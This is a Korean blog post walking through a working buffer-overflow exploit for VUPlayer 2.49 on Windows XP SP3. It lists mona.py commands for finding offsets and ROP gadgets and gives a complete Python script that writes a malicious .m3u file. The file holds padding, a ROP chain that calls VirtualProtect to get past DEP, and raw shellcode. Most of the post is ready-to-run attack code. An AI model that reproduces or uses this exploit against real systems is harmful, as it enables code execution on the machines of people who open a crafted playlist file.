OS : Windows XP Service Pack 3

Target : VUPlayer 2.49

 

VUPlayer 2.49 는 특정 Byte 이상 크기를 가진 .m3u 파일을 로드할 때, BOF 취약점이 발생한다.

DEP(Data Execution Prevention) 방어 기법으로 인해 단순히 RET 주소를 조작해서는 Exploit 에 성공할 수 없다. 이를 우회하기 위해 메모리에 실행 권한을 부여하여 Shellcode 를 실행하는 방법을 이용해 Exploit 하도록 한다.

OS 에 따라 사용이 불가능한 함수들이 존재한다.. 참고바람.

 

Exploit 의 편리성을 위한 Immunity Debugger 의 mona.py 기능들

[*] mona.py command

# !mona mod    # 방어 기법 사용 여부 및 기본 정보 제공

# !mona pattern_create [number of byte]    # 바이트 크기만큼의 정해진 패턴을 출력한다.

# !mona pattern_offset [pattern]    # 패턴 검색 기능 제공. 변조된 EIP 값이 가진 패턴을 넣어줄 때, EIP 변조 offset 을 출력한다.

# !mona rop    # rop 생성을 도와준다.

# !mona -m [module name]    # 지정한 모듈에서 rop 가젯 검색

# !mona -n    # null byte 로 시작하는 모듈을 제외한 모든 가젯 검색

 

# exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import struct
 
= lambda x : struct.pack("<L", x)
 
= open('roptest.m3u''w')
 
 
shellcode = ("\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e"
 + "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde"
 + "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18"
 + "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe"
 + "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7"
 + "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5"
 + "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f"
 + "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29"
 + "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe"
 + "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43")
 
 
 
payload = 'A'* 1012
 
# edi -> ret
payload += p(0x100190b0)    # pop edi   # ret
payload += p(0x1001dc05)    # ret
 
 
# esi -> virtualprotect()
payload += p(0x10015f77)    # pop eax   # ret
payload += p(0x10109270)    # IAT &VirtualProtect()
payload += p(0x1001eaf1)    # mov eax, [eax]
payload += p(0x10030950)    # xchg eax, esi     # ret
 
# ebp -> jmpesp
payload += p(0x100106e1)
payload += p(0x10022aa7)
 
 
# ebx -> 0x201(dwSize)
payload += p(0x10015f77)    # pop eax   # ret
payload += p(0xfffffdff)
payload += p(0x10014db4)    # neg
payload += p(0x10032f72)    # xchg eax, ebx
 
 
# edx -> 0x40(flNewProtect)
payload += p(0x10015f77)    # pop eax   # ret
payload += p(0xffffffc0)
payload += p(0x10014db4)    # neg
payload += p(0x10038a6c)    # xchg eax, edx
 
 
# ecx -> &writable location
payload += p(0x100163c7)
payload += p(0x1060d0ca)
 
# eax = 0x90909090
payload += p(0x10015f77)
payload += p(0x90909090)
 
 
# PUSHAD
payload += p(0x1001d7a5)    # PUSHAD    # ret
 
 
# shellcode
payload += shellcode
 
f.write(payload)
f.close()
 
cs

 

- 참고 -

1. ASLR 기법으로 인해 Exploit 이 힘들어져 VirtualProtect() 의 IAT 주소를 먼저 가져온 후, VirtualProtect() 함수 주소를 받아옴.

2. Exploit Code 를 보면 ebp -> # jmp esp 가젯이 담긴 주소가 들어가 있다.  stdcall 규약에서의 ret 은 ebp 레지스터에 의존.

3. PUSHAD    # 레지스터의 백업 용도로 사용.   순서 : EAX → ECX → EDX → EBX → ESP → EBP → ESI →EDI

각각의 레지스터에 필요한 인자 값과 가젯들을 설정한 후, PUSHAD 명령어를 통해 쉽게 스택에 인자 구성이 가능하다.

 

Posted by woodonggyu

댓글을 달아 주세요